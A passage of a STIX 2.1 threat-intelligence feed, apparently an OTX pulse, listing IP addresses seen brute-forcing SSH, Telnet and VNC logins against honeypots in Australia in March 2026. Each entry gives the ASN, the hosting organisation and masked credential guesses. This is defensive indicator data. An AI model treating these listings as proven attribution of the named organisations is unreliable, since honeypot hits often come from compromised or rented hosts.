      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 152156. Organisation(s): Naruto. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********#, F******6, H******3.",
      "id": "indicator--21d8dafd-5823-4f08-8b6f-f557e2a556b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.249.28.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--fad28670-9fe0-4737-abb5-a802af50dc30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.140.199.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--135a62fa-77da-4626-9f09-d33f8ce204ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.233.46.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Heralding, Cowrie. Target ports: 1080, 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, *, ***, d****n. Passwords observed (masked): *, ***, 1***5, 1****6, 1****c.",
      "id": "indicator--ff50d27d-30c1-4b74-88ac-bd299165377f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268485. Organisation(s): Fibrativa Telecomunicacoes - Eireli - ME. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******R, 3***********4, 3**********4, A*******l, D******3.",
      "id": "indicator--698e4d60-baae-46df-b9fe-fdd03492c27a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.162.8.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 53. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, b********n, m***r, p**l, s****a. Passwords observed (masked): *, ***, b********n, m***r, p**l.",
      "id": "indicator--eb7f9625-e6d3-48f9-acfa-51c14b2a3d18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 200755. Organisation(s): Stacja-NET Marek Goclowski.",
      "id": "indicator--0c75395b-0ede-43d7-a430-a1469e7cb98e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.213.140.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:15:12.000Z",
      "valid_until": "2026-04-03T13:15:11.000Z"
    },
    {
      "created": "2026-03-02T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8395. Organisation(s): East Telecom Ltd.. Usernames observed (masked): 6****6, a***n, r**t. Passwords observed (masked): 1**1, 6****6, z***..",
      "id": "indicator--afe719a2-f569-4a37-b176-cfa6c83a76fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.170.37.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:15:12.000Z",
      "valid_until": "2026-04-03T13:15:11.000Z"
    },
    {
      "created": "2026-03-02T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--9223a65d-d1fe-48d7-a7c6-904912377ddc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:15:12.000Z",
      "valid_until": "2026-04-03T13:15:11.000Z"
    },
    {
      "created": "2026-03-02T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 201002. Organisation(s): PebbleHost Ltd. Usernames observed (masked): A********************************r, G************1, U*************************************************************************************************************************6. Passwords observed (masked): A*****************************9, A*********************************************************************************************************************************************7, H**********************3.",
      "id": "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:15:12.000Z",
      "valid_until": "2026-04-03T13:15:11.000Z"
    },
    {
      "created": "2026-03-02T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s****a, s**v, u****u. Passwords observed (masked): ***, 1**4, ***, s****a, s**v.",
      "id": "indicator--09681613-da60-40d4-a081-337ecf3873ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:15:12.000Z",
      "valid_until": "2026-04-03T13:15:11.000Z"
    },
    {
      "created": "2026-03-02T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 200446. Organisation(s): SELNET LLC.",
      "id": "indicator--22971e57-73fc-4b19-9514-d89ae81a1ec8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.20.183.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:15:12.000Z",
      "valid_until": "2026-04-03T13:15:11.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): g****b, n*****y, r**t. Passwords observed (masked): g****b, n*****y, r******t.",
      "id": "indicator--e7e8e1ad-428e-4327-86a7-394ee1c4e16d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.240.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, R*******3, W*********4, a*******D.",
      "id": "indicator--4268ca3c-d16b-486c-a0c7-3d9c8eff3ff7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '108.173.137.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******c, 3***********4, 3**********4, @********3, *@ssword..",
      "id": "indicator--8dce63c9-a710-4c7c-90f0-4c7cd293f75b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.46.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 214209. Organisation(s): Internet Magnate (Pty) Ltd. Usernames observed (masked): *. Passwords observed (masked): C*********@.",
      "id": "indicator--4055172f-6956-43eb-b2c2-e295e0331aa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.20.185.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1201. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): 0**3, 1****1, 1****9, 1****9, 1**1.",
      "id": "indicator--2d6370fc-c755-416b-ae8b-45a189ee8c85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.174.1.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--31ebcb11-2a21-4c53-aa26-ccea5b65e373",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.241.149.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--c16ca4e2-a228-41a7-a41f-69c108478174",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.64.74.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 978. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u**r, a***n, a*****e, c****s. Passwords observed (masked): 1****6, u****u, !******x, 0****0, *.",
      "id": "indicator--a2d32507-d1aa-4877-97b4-05cf31e9af81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.186.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s**v, u****u. Passwords observed (masked): ***, s**v, u****u.",
      "id": "indicator--5bb9c25d-ef20-4fca-acab-294d090f9569",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.77.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e2666dd9-cd01-4c2d-b5cd-142a1cd1cf2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc.. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--be65d27e-8e1a-47a1-96e7-606d03b1b3a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--78ac4612-520e-4121-9be9-5fe3902f1f4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.186.125.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--1ff55d55-fe53-4ab0-b3cd-19f0ff327d2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.129.210.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T14:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 201002. Organisation(s): PebbleHost Ltd. Usernames observed (masked): G************1, U*************************************************************************************************************************6. Passwords observed (masked): A*********************************************************************************************************************************************7, H**********************3.",
      "id": "indicator--4e1bc778-5150-4d96-92af-adef1406d916",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.11.182.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:15:02.000Z",
      "valid_until": "2026-04-03T14:15:01.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 5******^, O***********6, X*******@.",
      "id": "indicator--a90e9a05-99ae-4a83-9c83-4295129e1ced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.48.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******d, 1******m, 5******^.",
      "id": "indicator--503a727e-2dbb-4dcd-99bf-99d66c4051ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.163.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263033. Organisation(s): LINKLI TELECOMUNICACOES LTDA.",
      "id": "indicator--1de2b4c8-634e-4dcd-94f2-d9fc41228503",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.12.185.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******X, 3***********4, 3**********4, A********6, A******1.",
      "id": "indicator--c0d5f199-a479-4d69-880c-95297f311b9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.203.163.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--9c1b8ed9-01c2-4fb5-bab1-c057a3c2e163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.49.77.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 4618. Organisation(s): Internet Thailand Company Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******d, 1******m, 3***********4, 3**********4, 5******^.",
      "id": "indicator--de030e37-4f2d-4372-9678-467f9f308fee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.150.162.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--aa4c6091-ba0a-4006-99cd-2e1fde92bfdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T15:15:13.000Z",
      "valid_until": "2026-04-03T15:15:11.000Z"
    },
    {
      "created": "2026-03-02T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t. Passwords observed (masked): 1****@, L*********o, M*********g, d****i.",
      "id": "indicator--df18b466-6cb1-4053-9fdc-bcfc95541ef3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.61.184.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
